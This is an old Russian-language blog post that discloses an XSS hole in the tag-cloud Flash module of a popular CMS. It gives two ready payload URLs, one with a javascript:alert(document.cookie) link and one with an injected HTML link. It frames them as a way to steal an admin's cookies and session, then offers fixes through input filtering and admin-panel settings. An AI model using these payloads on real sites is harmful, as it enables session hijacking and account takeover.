Приветствую Вас, Гость! Регистрация RSS

Мой сайт

Суббота, 20.04.2024
Главная » 2010 » Декабрь » 09
обнаружена очередная уязвимость в популярной CMS.
Воспользуемся недостаточной фильтрацией в модуле "Теги".
Использование уязвимости:
У нас два варианта,
Первый, по HTML, второй через XSS.
Да, дырка настолько большая что и простой html отрабатывает так как нам нужно.
вход на сайт XSS:
Code

http://сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='javascript:alert(document.cookie)'+style='font-size:+50pt'>Click me</a></tags>

вход на сайт простым HTML:
Code

http://сайт.ру/engine/classes/tagcloud/tagcloud.swf?mode=tags&tagcloud=<tags><a+href='http://ssfera.ru'+style='font-size:+40pt'>Click me</a></tags>

С помощью данного метода мы можем получить сессию админа, вытащить куки, успешно залогиньться и сотворить бяку противнику.
Пути решения проблемы:
Вариант от -=BlackSmoke=- :
Code

заинглудь в файл класс парсинга входящих данных(parse.class.php) и с помощью него сделай фильтрацию. Что-то типа  
$tags = $db->safesql( htmlspecialchars( strip_tags( stripslashes( trim( $_GET['tagcloud'] ) ) ), ENT_QUOTES ) );

Топорный метод от xex:
Code

а еще можно и нужно в настройках админки иметь такой расклад:
Метод авторизации в админпанели = Расширенный метод
+ для надежности и большей параноидальности
Контроль изменения IP адреса = Высокий уровень
Сбрасывать ключ авторизации при каждом входе? = Да
(ну и надеюсь админка не [b]admin.php[/b] называется + я себе даже в [b].htaccess[/b] админку разрешил только с одного ИП )
[b]и кража кук будет бесполезна[/b]
Категория: Другое | Просмотров: 974 | Дата: 09.12.2010 | Комментарии (0)